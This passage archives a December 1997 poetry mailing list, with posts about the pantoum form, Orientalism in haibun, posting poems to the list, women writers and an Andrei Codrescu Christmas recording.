away altogether by clinging by its nails to its circumargin long enough to give the prophet a picture of immanent disaster. The archaeologist sees no such thing and keeps circling and diving. Whatever she can clutch radiates, a pressed flower that blooms in her head. Justitia still rides her circuit, knees gripped at a 45° tilt. And the mythomaniac concurs with them all by telling tales from the book of virus." Among the five paintings by George Economou reproduced in this book is "1892." It and its companion poem were made in response to Pierre Bonnard's painting "Crépuscule" or "La partie de croquet." The poem reflects the painting at the level of the simplest telling. Of the group at play depicted in Bonnard's painting, Economou writes: "Their pleasure at dusk / exists in the image he has pictured // of it for them-held back in the picture, / the ring of girls that almost slips his gaze / but stays, secure in the last light of dusk. / Serene mystery becomes the invention / of the carefree account of happiness / they figure un-invisibly for Pierre." George Economou was born in Great Falls, Montana, on September 24, 1934. He has published six books of poetry and several books on medieval literature. He has also published translations from ancient and modern Greek as well as from a number of medieval languages, most recently William Langland's PIERS PLOWMAN (University of Pennsylvania Press). His poems, translations, and criticism have appeared in many leading literary and scholarly journals. He has held fellowships for his writing from the New York Council for the Arts, the National Endowment for the Arts, and the Rockefeller Foundation. He earned his A.B. from Colgate University and his M.A. and Ph. D. from Columbia University. He is currently Professor of English at the University of Oklahoma and lives with his wife, poet-playwright Rochelle Owens, in Norman, Oklahoma and Wellfleet, Massachusetts.

Bryan McHugh, Director
LEFT HAND BOOKS
Station Hill Road
Barrytown, NY 12507
Fax: [redacted]
e-mail: [redacted]

↑ Index

147. **Annie Finch**

Re: Orientalist haibun (with cups of sake four)

Wed 10 Dec 1997

I took this passage and the whole entry as a tongue-in-cheek parody of Orientalist cliches. You can't be saying this piss was meant seriously.

Annie

> *One more item:*
>
> *Weary, I took a piss, making great steam in the Autumn grasses. Then, preparing ink on a large stone, I wrote:*
>
> *I really like this image, movement; however the diction does smack of the archaic ("Weary" [why not "tired"]) and of direct translation of Japanese or Chinese ("great"), and that is what can be called "playing the Orientalist card." If we really have respect for Asian cultures, the least we can do is not stereotype the language used in association with them (Buddhism, haibun, etc.). This is the legacy of bad translations and imitations (cf. the common use of "Chinatown," and the obsolete "Chinaman" - when used, were these celebrating Chinese culture or alienating and cordoning it off from the mainstream?). Similar issues exist today, just as obvious if you look for them.*
>
> *Just want to point out you might on the other hand see these lines working off of past Japanista translations, not off of contemporary Japan. "Weary" works fine in either case; "great" would reference other misrecognitions among those who considered themselves literalists.*
>
> *But of course if you hold to the purity of Japan, you are completely correct, and one _must_ use colloquial Americanisms (not English) as well.*
>
> *Alan*

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

↑ Index

148. **Annie Finch**

Re: Suggestions?

Wed 10 Dec 1997

Brent, The anthology A Formal Feeling Comes, which I edited, has a good long pantoum by Anne Waldman accompanied by a description of how it is put together and her process of writing it. There is also a pantoum I like a lot by Nellie Wong in the same anthology. A poet named Vince Gotera has been doing a lot with pantoums and his recent books should include several of them.

Annie Finch

> *I have recently become interested in a style of writing called "pantoum". I am asking for suggestions from those of you familiar with this style as to whom I should try reading in the hopes of a better understanding of its structure.*

> *Thanks in advance,*
>
> *Brent*

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

↑ Index

149. **Brent Long**
Re: pantoum
Wed 10 Dec 1997

Sheila,

I am interested in its exact structure (what are the rules, etc.) and its origin. Thanks in advacne for your help.

Brent Long

At 09:39 PM 12/9/97 EST, you wrote:
>Brent Long,
>
>You probably know of Anne Waldman's chapbook First Baby Poems. In that chap
>is a wonderful pantoum called "Baby's Pantoum" (or something close to that).
>It's a splendid example of the form. I've used the form on a few occasions,
>as have a number of people. I see in a recent letter from the poet Mary
>Rising Higgins (of Albuquerque) that she's just completed one. What do you
>want to know about the form?
>
>Sheila Murphy
>
>

↑ Index

150. **Alan Myouka Sondheim**
Re: Iroiro
Wed 10 Dec 1997

Well, I do want to apologize for an outburst occasioned by a bad outbreak of fugu (blowfish, yes - I know, I know ...) in my stomach, nettling me above and below the Poetics list...

Meanwhile I do learn and think and shall continue another day.

Alan

(Fugu - "I was born between the taste of fugu and the fear of death." Fugu is a kind of fish eaten raw here - it can apparently kill you, if badly prepared.)

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151. Mark Prejsnar
Re: Suggestions?
Wed 10 Dec 1997

On Tue, 9 Dec 1997, Brent Long wrote:

> *I have recently become interested in a style of writing called "pantoum". I am asking for suggestions from those of you familiar with this style as to whom I should try reading in the hopes of a better understanding of its structure.*
>
> *Thanks in advance,*
>
> *Brent*

Brent,

My first recommendation is that you check out the magazine Syntactics, edited here in Atlanta. Its editor John Lowther has been interested in pantoums over the past year; the first issue comes with a broadside discussing approaches to the pantoum (..these broadsides will be a regular feature of the mag, reflecting John's intense interest in formal frames and MacLovian procedural writing...)

There are copies of the first issue still available for $4.00:

[checks payable to John Lowther]
syntactics
P.O. Box 1381
Decatur GA 30031

Also the superb and underrecognized Armand Schwerner has just come out with a pantoum work as part of the Backwoods Broadsides series.

Ron Padgett and others designed a piece of software in 1989 called "Pantoum : Writing Game"--described as "creative writing software to create pantoums" in its OCLC cataloging record.

--Mark Prejsnar
atlanta

↑ Index

152. Jacques Debrot
Re: Posting poems to the list
Wed 10 Dec 1997

Frankly, I'm glad there isn't much poetry posted to the list. What's missing in this venue, obviously, is any editorial agency. I find that, while I'd never want the posts vetted in any way, I also feel that this function can be important & useful for creative work. Still, I'm not at all comfortable with the conservative implications of this. Wonder how others feel.

As it is there are few enough poems posted to the list that, for the poet, it's a little bit like leading with one's jaw, isn't it? Hurt feelings are inevitable I suppose, but it's also naive to imagine that any work will be received by the list with anything but, at the very best, a mixed response (because of diverse tastes, unfinished arguments, opportunities to posture, etc.).

↑ Index

153. Harold Rhenisch
Re: Machismo Bush
Wed 10 Dec 1997

Jerry E. Fletcher wrote:

> *Personally, I think the quality of men's writing has gone down as their political issues diminish...*

Do you mean that these political issues are diminishing or that men's perception or experience of or ability to frame these issues is diminishing?

> *nothing like a little war to get the machismo flowing, just as Bush.*

Is that what you mean by political issues?

Personally, I'd say there are political issues, the political issues are being ignored, and that this is, among other things, a problem of poetics.

I don't know how the Gulf War was perceived in the U.S.A. but up here in Canada it was perceived pretty cynically. That might be a political issue, but it is not machismo. Is it?

I'd be interested in hearing how the Gulf War was perceived in the U.S.A.

Machismo is a male political issue? Sure, but how do you mean? I feel you could say so much more on this, and I'd like to hear it.

Regards,

Harold Rhenisch
[redacted]

↑ Index

154. J. Tate
Thanks for Keats references
Wed 10 Dec 1997

Thanks to all for the timely responses to my question on Keats.

Best wishes,

Joseph Tate
Graduate Student
Department of English
U. of Washington, Seattle

↑ Index

155. tony lopez
Forwarded: sum temporaree home
Wed 10 Dec 1997

Organization: University of Plymouth
To: [redacted]
Date: Wed, 10 Dec 1997 11:36:32 BST
Priority normal
Subject: sum temporaree home
From: tony lopez <[redacted]>

I have recently received the latest Capilano Review
series 2, no 23, Fall 97, which is a special issue on
bill bissett, including poems, drawings, paintings by
bissett (similar to Bryan Wynter's mescaline paintings)
an interview with bissett by D McFadden and articles on
bissett by various contributors including Susan Musgrave.
bissett an anti-authoritarian gay/bisexual poet who writes a kind
of phonetic spelling poetry that resists various power
games. He seems to have got stronger & stronger. Very
interesting issue and a must for anyone wanting to know the
range of Canadian writing.

Anyone who can order for a library please get it.

Capilano Review
2055 Purcell Way
North Vancouver
BC Canada
V7J 3H5

Editor Robert Sherrin.

TL

_____
Dr Tony Lopez
Reader in Poetry
University of Plymouth
Faculty of Arts & Education
Douglas Avenue
Exmouth
EX8 2AT
UK

tel: 1395 255418
fax: 1395 264196

_____

_____
Dr Tony Lopez
Reader in Poetry
University of Plymouth
Faculty of Arts & Education
Douglas Avenue
Exmouth
EX8 2AT
UK

tel: 1395 255418
fax: 1395 264196

_____

↑ Index

156. William Burmeister Prod

Re: Posting poems to the list

Wed 10 Dec 1997

On Dec 10, 10:59am, Jacques Debrot wrote:
> Subject: Re: Posting poems to the list
> Frankly, I'm glad there isn't much poetry posted to the list. What's missing
> in this venue, obviously, is any editorial agency. I find that, while I'd
> never want the posts vetted in any way, I also feel that this function can be
> important & useful for creative work. Still, I'm not at all comfortable with
> the conservative implications of this. Wonder how others feel.
>
> As it is there are few enough poems posted to the list that, for the poet,

> it's a little bit like leading with one's jaw, isn't it? Hurt feelings are
> inevitable I suppose, but it's also naive to imagine that any work will be
> received by the list with anything but, at the very best, a mixed response
> (because of diverse tastes, unfinished arguments, opportunities to posture,
> etc.).
>-- End of excerpt from Jacques Debrot

Probably for the best. Poetry on the list has usually been received in silence, which is not meant to necessarily imply indifference though that could be the case too (indifference as worse than open criticism?). Perhaps listmembers have vulcanized themselves against the temptation to balkanize around someone's list poems. I suppose it is unreasonable to expect universal agreement when posting poems to the list: in replying to/about them, one may appear to be nominating one poet to the perceived exclusion of another. Still the creative work continues. Yours is both an argument for and against this practice. And certainly, the mixed responses, diverse tastes, unfinished arguments, and so on are what poetry is about right? Criticism is included like the tax. It is essential, but is also creative writing in its own right and a dialog that is ongoing, never ending and certainly never final.

William Burmeister

↑ Index

157. Michael D Basinski

Re: Rakosi

Wed 10 Dec 1997

Joel Shatzky is looking for someone to write a 3,000 word essay on the work of Carl Rokosi. Some cash. Interested: Joel Shatzky -- [redacted] (Binghamton, N.Y.).

Joel is also looking for Sharon Portnoff - recently of Boston(as of last spring). If anyone knows this person(student at B.U.) Shatzky is looking for her to sign a release form.

> ----------
Michael Basinski
Poetry/Rare Books Collection
SUNY at Buffalo
[redacted] Fax: [redacted]

↑ Index

158. **Annie Finch**
Re: pantoum
Wed 10 Dec 1997

Brent,

It comes from Malaysia, and its English form is that lines 2 and 4 of each stanza are repeated as lines 1 and 3 of the following stanza.

Two good reference books (among many) that can answer such questions on poetics as they come up are the Princeton Encyclopedia of Poetry and Poetics and John Drury's Poetry Dictionary.

There will be mini-essays and mini-anthologies on the pantoum as well as on a host of other "formal frameworks" (a term I feel somewhat ambivalent about, as it suggests that the real poem is hung on, surrounded by, supported by, or otherwise essentially different from its own form) in an anthology now on the verge of finding a publisher that I have been coediting. I'm planning to send all the great pantoum suggestions made by the list to the poet who's writing the pantoum section for that anthology. Hopefully some of them will make it in.

Annie Finch

> *Sheila,*
>
> *I am interested in its exact structure (what are the rules, etc.) and its origin. Thanks in advacne for your help.*
>
> *Brent Long*
>
> *At 09:39 PM 12/9/97 EST, you wrote:*
> *Brent Long,*
>
> *You probably know of Anne Waldman's chapbook First Baby Poems. In that chap is a wonderful pantoum called "Baby's Pantoum" (or something close to that). It's a splendid example of the form. I've used the form on a few occasions, as have a number of people. I see in a recent letter from the poet Mary Rising Higgins (of Albuquerque) that she's just completed one. What do you want to know about the form?*
>
> *Sheila Murphy*

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

↑ Index

159. **Dean A. Brink**
Re: Orientalist haibun (with cups of sake four)
Wed 10 Dec 1997

Annie, I'd like to ask what you mean by serious.
Isn't pissing a universal phenomenon?
Pissing and farting are big Edo themes in Japanese literature.
There is a short treatise called "On Farting" of related interest (tr. by William F. Sibley).
Bodily functions are found in baudy comic prose and in some of the ever pushing-the-envelop haiku schools.
One of the most famous pissing poems in English must be Snyder's "Pissing / watching a waterfall." This certainly rings of parody, but.

Annie Finch wrote:

> *I took this passage and the whole entry as a tongue-in-cheek parody of Orientalist cliches. You can't be saying this piss was meant seriously.*
>
> *Annie*
>
> *One more item:*
>
> *Weary, I took a piss, making great steam in the Autumn grasses. Then, preparing ink on a large stone, I wrote:*
>
> *I really like this image, movement; however the diction does smack of the archaic ("Weary" [why not "tired"]) and of direct translation of Japanese or Chinese ("great"), and that is what can be called "playing the Orientalist card." If we really have respect for Asian cultures, the least we can do is not stereotype the language used in association with them (Buddhism, haibun, etc.). This is the legacy of bad translations and imitations (cf. the common use of "Chinatown," and the obsolete "Chinaman" - when used, were these celebrating Chinese culture or alienating and cordoning it off from the mainstream?). Similar issues exist today, just as obvious if you look for them.*
>
> *Just want to point out you might on the other hand see these lines working off of past Japanista translations, not off of contemporary Japan. "Weary" works fine in either case; "great" would reference other misrecognitions among those who considered themselves literalists.*
>
> *But of course if you hold to the purity of Japan, you are completely correct, and one _must_ use colloquial Americanisms (not English) as well.*

> *Alan*
>
> *Annie Finch (Homepage: http://www.muohio.edu/~finchar/)*
> *Department of English*
> *Miami University, Oxford, Ohio 45220*

--
dean brink

[redacted]

interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

↑ Index

160. **JforJames**
Re: pantoum
Wed 10 Dec 1997

Brent,

PANTOUM
"Usually considered as one of the sophisticated French
forms though, as a matter of fact, the pantoum was taken
over from the Malaysian by Victor Hugo and other French poets.
This primitive origin is evident in the monotonous repetition
of lines, a monotony possibly derived from the rhythmic beating
of the Oriental tom-tom. The pantoum may consist of an
indefinite number of four-line stanzas, but in any case the
second and fourth verses of one stanza must reappear as
the first and third lines of the following stanza. The stanzas
are quatrains, the rime scheme being monotonously abab,
abab. In the final stanza the first and third lines of the first stanza
are repeated in reverse order, the poem thus ending
with same line with which it began."

--from A Handbook of Literature (Thrall, Hibbard, & Holman, editors)

"Primitive" is a bit of a loaded word--by whose standard? I do agree that these poems are often "monotonous." The sestina and villanelle read like free when compared to a pantoum. With right subject and some really brilliant lines that bear repeating, then the form can work--though I wouldn't relish reading a bookful of 'em. Also, the "indefinite number of four-lines stanzas" in wrong hands becomes an "interminable number of four-lines stanzas."

Finnegan

↑ Index

161. **Stacie Slotnick**
Re: pantoum
Wed 10 Dec 1997

Also, look at Lewis Turco's "New Book of Forms".

↑ Index

162. **Robin Morris**
Re: invitation to women writers
Wed 10 Dec 1997

I think a distinction needs to be made between publishing works on a specific subject/by a specific authorship as a matter of achieving equity versus putting together a collection of works that have something in common. Such collections may not involve gender or or race or they may, but their usefulness and interest to readers can be more than a function of a desire to read those who would not otherwise be read. I think people are awfully quick to feel excluded. I mean, if I didn't have any material on the subject of carburators (I'm not even sure I can spell them) I wouldn't feel excluded because someone was putting together a collection of poems about them and I couldn't contribute. Now, being a constructionist, you may argue that women ultimately have no particular perspective that should alter their take on nature or carberators and I may well agree with you (ultimately, if not at this moment). But assembling such a work allows people to answer that question for themselves--one of its many uses. There have certainly been enough books on men and carberators or nature to act as points of comparison.

Robin

* * * * * * * * *

Robin A. Morris
[redacted]
Home page: http://www-unix.oit.umass.edu/~ramorris

↑ Index

163. **Jordan Davis**
Re: Posting poems to the list
Wed 10 Dec 1997

None of the poems is working
And I'm on the train watching telegraph eiffels eclipse
Themselves and bob their lines, I'm a fish.
Freely I say to you I am depressed and I love you
I'll come when I want and go the same,

Buying some palace of pleasure to stare at
On the sugar car. Brouhaha come ford me
In the starting afternoon. No baby. No snow roof.
No running as fast as you can to a watchfob
Held out a hundred years away. But I am alive.
Want to make something of it?

Scratch of bird-dawdle artfully fogbank flume
Quizzes seaside eyes.
                Why won't anybody
Say anything, don't they know how to look?
I wish the train would come to a complete stop
Not slide around in station, and the breeze
Of the conductor's door on my neck. Got it.

↑ Index

164. MLWeber
invitation to women writers once again
Wed 10 Dec 1997

---

as many people have written to me wanting
a description of the literary magazine Sugar Mule
I will include one with a reiteration of my invitation
to women writers with any work relating to the theme
of the natural world--any genre--poetry or prose of any kind.

Sugar Mule is (at this time) only hard copy (though www is coming at some point soon) 5x8 inches format. Subscriptions $12 for two issues postpaid--or $7 per issue--send to M.L. Weber, 2 N. 24th St., Colo. Spgs., CO 80904.

Some past contributors include Mike Heller, Paul Hoover, Pierre Joris, Jane Augustine, Lance Olsen, Rochelle Ratner, Paul Beckman and others.

The upcoming issue is #4. Submissions accepted by email only at [redacted] or [redacted]

thank you.

↑ Index

165. Laura Moriarty
Re: Posting poems to the list
Wed 10 Dec 1997

Nice Jordon - evocative of Cendrars and Luoma -

Laura

> *None of the poems is working*
> *And I'm on the train watching telegraph eiffels eclipse*
> *Themselves and bob their lines, I'm a fish.*
> *Freely I say to you I am depressed and I love you*
> *I'll come when I want and go the same,*
> *Buying some palace of pleasure to stare at*
> *On the sugar car. Brouhaha come ford me*
> *In the starting afternoon. No baby. No snow roof.*
> *No running as fast as you can to a watchfob*
> *Held out a hundred years away. But I am alive.*
> *Want to make something of it?*
>
> *Scratch of bird-dawdle artfully fogbank flume*
> *Quizzes seaside eyes.*
> *Why won't anybody*
> *Say anything, don't they know how to look?*
> *I wish the train would come to a complete stop*
> *Not slide around in station, and the breeze*
> *Of the conductor's door on my neck. Got it.*

↑ Index

166. L.MacMahon and T.R.Healy

Re: Posting poems to the list

Wed 10 Dec 1997

Perhaps poems posted to the list could be clearly marked POEM in the subject line so that no one reads them by accident.

Personally, I'd like to see more. To suggest less, which no one actually has, would be to limit resources. Through the serendipity of their posts I've become aware of some wonderful poets. I realise that this may be as much a testament to my ignorance as anything else.

As regards silence: fine. There's no need to feel that one has to respond. One can always backchannel if time permits when a poem hits the spot.

Randolph Healy

>On Dec 10, 10:59am, Jacques Debrot wrote:
>> Subject: Re: Posting poems to the list
>> Frankly, I'm glad there isn't much poetry posted to the list. Still, I'm not at all comfortable with the conservative implications of this. Wonder how others feel.

> *Poetry on the list has usually been received in silence,*
> *which is not meant to necessarily imply indifference though that could be the case too (indifference as worse than open criticism?). Perhaps listmembers have*

> *vulcanized themselves against the temptation to balkanize around someone's list poems.*
>
> *William Burmeister*

↑ Index

167. **Judy Roitman**

Re: invitation to women writers

Wed 10 Dec 1997

> *They are. But until there is equity (real and perceived), under-represented groups need to promote themselves exclusively. Besides, we are talking here about one special issue of a journal. Do we know what the editorial policy is in general?*
> *Patricia*
>
> *I understand well the equity issue, both real and perceived. Its just that women writers seem both more in evidence and taken seriously today. I have no argument with special issues or even literary mags devoted exclusively to one sex or another, race, etc. But see more equity in some of the journals today than ten years ago. Personally, I think the quality of men's writing has gone down as their political issues diminish...nothing like a little war to get the machismo flowing, just as Bush.*
>
> *Jerry*

Maybe more equity but women are still left out of history, including literary. Just one example --- a couple of weeks ago I heard a specialist in contemporary poetry give an off-the-cuff list of major language/language-influenced poets and not one woman's name was on it. I'm sure if he'd sat down and thought about it he would have stuck a couple on, but on the spur of the moment it didn't even occur to him.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

168. Layne Russell
Re: Posting poems to the list
Wed 10 Dec 1997

> *Perhaps poems posted to the list could be clearly marked POEM in the subject line so that no one reads them by accident.*
>
> *Personally, I'd like to see more. To suggest less, which no one actually has, would be to limit resources. Through the serendipity of their posts I've become aware of some wonderful poets. I realise that this may be as much a testament to my ignorance as anything else.*
>
> *As regards silence: fine. There's no need to feel that one has to respond. One can always backchannel if time permits when a poem hits the spot.*
>
> *Randolph Healy*

I'm with you, Randolph. good ideas.

Layne

↑ Index

169. John Tranter
Correct URL for the Laughlin obit piece in Jacket
Wed 10 Dec 1997

My apologies for giving an incorrect URL in a recent posting.

Eliot Weinberger's obituary article on James Laughlin
is available free in Issue # 2 of Jacket magazine at this URL:

http://www.jacket.zip.com.au/jacket02/laughlin.html

Apologies and thanks to those who wrote in to notify me of the problem.

JT

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
Editor, Jacket magazine: http://www.jacket.zip.com.au

↑ Index

170. Christopher W. Alexander
Re: Iroiro
Wed 10 Dec 1997

Alan—
I've been somewhat fortunately somewhat absent

from the list during the most recent installment of the ever-popular "Quest for Orientalism (or The Occidental Tourist Gets Mugged)", but I do want to chime in with Patrick Pritchett in inviting you not to censor yrself (i.e., some if not most of us "we read you loud and clear").

I wld have posted this to the list, but the whole thing seems to be overwith now.

love, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

171. David Israel
A Codrescu Xmas
Wed 10 Dec 1997

Poetas,

for poss. interest, Andre Codrescu, whose past escapades have found their way into print (*Exquisite Corpse* as well as his own books), radio (his NPR essay-spots), and film (the documentary *Road Scholar*) is now tryna take on Santa's gig, or something (via CD). See, for details:

http://www.yahoo.com/headlines/971210/entertainment/stories/culture_codrescu_1.html

The opening 50% (or so) of the wire service report (published, inter alia, in Variety) is patched in below.

cheers,
d.i.
~~~~~~~~~~~~~~~~
Wednesday December 10 2:37 PM EST

FEATURE: Romanian Bard Of Bizarre Takes On Christmas

By Matthew Lewis

HARTFORD, Conn. (Reuters) - He's the evil twin of Charles Dickens, or perhaps a twisted, Transylvanian mutation of Bing Crosby.
~~~~~~~~~~~~~~~~

All Andrei Codrescu wants for Christmas is a place in the pop-culture pantheon of seasonal icons.

But unlike Dickens' "A Christmas Carol" or Crosby's rendition of "White Christmas," the Romanian-born author's yuletide contribution is a darkly ironic tale of U.S.-style consumerism and the quest for eternal youth.

"The Valley of Christmas: An Ancient Fable with Modern Appliances," was released last month on Gert Town Records.

A shorter version of the work, written and narrated by Codrescu, made a splash last year when it was broadcast on National Public Radio (NPR) in the United States.

"This is a way to say something about the shameless growth of consumer culture -- while adding to it, of course," Codrescu told Reuters by telephone, from his home in New Orleans.

His fractured fairy tale sprang from a Romanian folk tale, which Codrescu salted with cyber-age pop references and baked into a surreal souffle.

"People are sick to death of sugary, sentimental Christmases, and staring straight into the TV," he said. "So they might enjoy listening to a play with music about Christmas that actually attacks the demon TV."

Codrescu, 51, does not own a television.

The poet, novelist and essayist is perhaps best known as a commentator on NPR's program "All Things Considered." He also teaches English at Louisiana State University in Baton Rouge.

"The Valley of Christmas" is the story of Almond Joy, a boy magically conceived in a New Orleans cemetery and born on Christmas Day to a yuppie couple in matching jogging outfits.

After a bizarre journey to the Valley of Christmas and eternal youth, Almond Joy returns to the outside world, where he discovers that the apocalypse has occurred, and humanity has been sucked into the screens of its television sets.

Those fond of happy endings should look elsewhere.

"Valley" is typical of Codrescu's work in that it is both funny and disturbing.

His keen nose for the grotesque was honed by a childhood of grim deprivation in communist Romania. His grandmother and other relatives perished in the Holocaust.

"Humor is a survival weapon," Codrescu said. "Romanians, up until 1989, had mainly humor to keep them warm. That was the shared culture -- jokes." . . . [etc.]

↑ Index

172. **William Burmeister Prod**
Re: A Codrescu Xmas
Wed 10 Dec 1997

Saw him here in Miami last month. Funny guy. Times are still pretty good, Andrei stays busy, and all the dogs in the U.S. have pretzels on their tails.

On Dec 10, 5:44pm, David Israel wrote:
> Subject: A Codrescu Xmas
> Poetas,
>
> for poss. interest, Andre Codrescu, whose past escapades have found their
> way into print (*Exquisite Corpse* as well as his own books), radio (his NPR
> essay-spots), and film (the documentary *Road Scholar*) is now tryna take on
> Santa's gig, or something (via CD). See, for details:
>
> http://www.yahoo.com/headlines/971210/entertainment/stories/culture_codrescu_1.html
>
> The opening 50% (or so) of the wire service report (published, inter alia,
> in Variety) is patched in below.
>
> cheers,
> d.i.
> ~~~~~~~~~~~~~~~~
> Wednesday December 10 2:37 PM EST
>
> FEATURE: Romanian Bard Of Bizarre Takes On Christmas
>
> By Matthew Lewis
>
> HARTFORD, Conn. (Reuters) - He's the evil twin of Charles Dickens, or
> perhaps a twisted, Transylvanian mutation of Bing Crosby.
>
> All Andrei Codrescu wants for Christmas is a place in the pop-culture
> pantheon of seasonal icons.
>
> But unlike Dickens' "A Christmas Carol" or Crosby's rendition of "White
> Christmas," the Romanian-born author's yuletide contribution is a darkly
> ironic tale of U.S.-style consumerism and the quest for eternal youth.

>
> "The Valley of Christmas: An Ancient Fable with Modern Appliances," was
> released last month on Gert Town Records.
>
> A shorter version of the work, written and narrated by Codrescu, made a
> splash last year when it was broadcast on National Public Radio (NPR) in the
> United States.
>
> "This is a way to say something about the shameless growth of consumer
> culture -- while adding to it, of course," Codrescu told Reuters by
> telephone, from his home in New Orleans.
>
> His fractured fairy tale sprang from a Romanian folk tale, which Codrescu
> salted with cyber-age pop references and baked into a surreal souffle.
>
> "People are sick to death of sugary, sentimental Christmases, and staring
> straight into the TV," he said. "So they might enjoy listening to a play
> with music about Christmas that actually attacks the demon TV."
>
> Codrescu, 51, does not own a television.
>
> The poet, novelist and essayist is perhaps best known as a commentator on
> NPR's program "All Things Considered." He also teaches English at Louisiana
> State University in Baton Rouge.
>
> "The Valley of Christmas" is the story of Almond Joy, a boy magically
> conceived in a New Orleans cemetery and born on Christmas Day to a yuppie
> couple in matching jogging outfits.
>
> After a bizarre journey to the Valley of Christmas and eternal youth, Almond
> Joy returns to the outside world, where he discovers that the apocalypse has
> occurred, and humanity has been sucked into the screens of its television
> sets.
>
> Those fond of happy endings should look elsewhere.
>
> "Valley" is typical of Codrescu's work in that it is both funny and
> disturbing.
>
> His keen nose for the grotesque was honed by a childhood of grim deprivation
> in communist Romania. His grandmother and other relatives perished in the

> Holocaust.
>
> "Humor is a survival weapon," Codrescu said. "Romanians, up until 1989, had
> mainly humor to keep them warm. That was the shared culture -- jokes." . .
> . [etc.]
>-- End of excerpt from David Israel

↑ Index

173. **Judy Roitman**

Re: pantoum

Wed 10 Dec 1997

> *Brent,*
>
> *PANTOUM*
> *"Usually considered as one of the sophisticated French*
> *forms though, as a matter of fact, the pantoum was taken*
> *over from the Malaysian by Victor Hugo and other French poets.*
> *This primitive origin is evident in the monotonous repetition*
> *of lines, a monotony possibly derived from the rhythmic beating*
> *of the Oriental tom-tom. The pantoum may consist of an*
> *indefinite number of four-line stanzas, but in any case the*
> *second and fourth verses of one stanza must reappear as*
> *the first and third lines of the following stanza. The stanzas*
> *are quatrains, the rime scheme being monotonously abab,*
> *abab. In the final stanza the first and third lines of the first stanza*
> *are repeated in reverse order, the poem thus ending*
> *with same line with which it began."*
>
> *--from A Handbook of Literature (Thrall, Hibbard, & Holman, editors)*
>
> *"Primitive" is a bit of a loaded word--by whose standard?*
> *I do agree that these poems are often "monotonous." The sestina*
> *and villanelle read like free when compared to a pantoum. With*
> *right subject and some really brilliant lines that bear repeating,*
> *then the form can work--though I wouldn't relish reading*
> *a bookful of 'em. Also, the "indefinite number of four-lines stanzas"*
> *in wrong hands becomes an "interminable number of four-lines*
> *stanzas."*
>
> *Finnegan*

Depends what you're writing. E.g., great for babies and also extreme old age. Wouldn't want to do an action narrative in it. Although the so-called monotony might match up well with infantry experience in war...

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

174. Mark Weiss

(no subject)

Wed 10 Dec 1997

As good a time as any to announce that the National Poetry Foundation will be publishing in October of 1998 a complete Tablets, with CD of Armand reading from same included, to be distributed by U. Presses of New England. Also in 1998 Junction Press will do the collected non-tablets poems, including of course the pantoums, as well as a mass of other wonderful work that is otherwise available only in mostly hard-to-find sources.

Mark Weiss

> *Also the superb and underrecognized Armand Schwerner has just come out with a pantoum work as part of the Backwoods Broadsides series.*
>
> *--Mark Prejsnar*
> *atlanta*

↑ Index

175. Rachel Loden

*Hoover pantoum, Tranter _Jacket_*

Wed 10 Dec 1997

There's a terrific pantoum by Paul Hoover, "At the Desiring Vine," available online in John Tranter's sleek new _Jacket_. Direct URL for the poem:

http://www.jacket.zip.com.au/jacket01/hoover1.html#vine

Jacket homepage:

http://www.jacket.zip.com.au/index.html

Rachel Loden

↑ Index

176. Cadaly
Re: invitation to women writers
Wed 10 Dec 1997

Parity's not the half of it: when I graduated from school, female poets far outnumbered male poets in my class (I think there were three graduating male poets to a dozen female, but I don't really remember). Now that I am beginning to teach, the ratio in poetry students is remaining the same: not even one in three of the students is male. With that sort of ratio, one would expect female publishing and working poets to outnumber male.

(I'm trying to get around the "but are students more likely to be female than poets" by adding "employed".)

And look at this list! Women on my other lists (non-poetry related, even two highly technical) outnumber or at least come close to matching the number of men on the list.

Catherine Daly
[redacted]

↑ Index

177. David Israel
Re: pantoum
Wed 10 Dec 1997

Brent et alia,

Just to add to the pantoum thread here, one I've much enjoyed was John Ashbery's "Hotel Latraemont" [sp?; vide the eponymous volume. The poem 1st appeared in the New Yorker in 1990; the book appeared a few years later) - - I still recall a few lines (might not be 100% verbatim):

If we wanted to leave, would being naked help us?
And what of older, lighter concerns? What of the river?

Children twirl hoolahoops, imaginging a door to the outside, When all we can think of is how much we can carry with us. And what of older, lighter concerns? What of the river? All the behemouths have filed through the maze of time. . . .

/ / /

it's a marvelous poem - - every line can be savored; the ambiguity of tone - - the sense of social analysis, anthopology, metaphysics, epistemology, the study of personality & its dissolution - - all the stuff is brought in through implication or indirection or something. And the formalism, the repetition, render it positively wonderful.

If I had to single out a few most-memorable poems from the past decade, that would certainly be high on the list.

/ / /

Another contemp. pantoum encountered in recent years was written by Agha Shahid Ali (he recited this at the Folger Shakespeare Theatre in a reading here in DC a couple years ago, sorry don't recall name of the poem). Chances are it may appear in his new book (which I've not yet gottn a copy of), published some months ago. As I recall, Shahid (unlike John Ashbery) made use of rhyme throughout the pantoum.

best,
d.i.

↑ Index

178. **Ron Androla**
Re: Posting poems to the list
Wed 10 Dec 1997

---

miekal and,

thank you. let mythology flower.

ron

↑ Index

179. **groberts**
Warning: contains distasteful poem.
Wed 10 Dec 1997

Daily
the botcher
sweeps off
the offal
on the killing floor
into a trough
funneling
into a pit
from which it
streams out
by another trough
into a runnel
through a culvert
onward

a rivulet out
to sea.

Gary R.

↑ Index

180. CharSSmith
Re: Posting poems to the list
Wed 10 Dec 1997

In a message dated 97-12-10 18:46:22 EST, you write:

<< Perhaps poems posted to the list could be clearly marked POEM in the subject
 line so that no one reads them by accident. >>

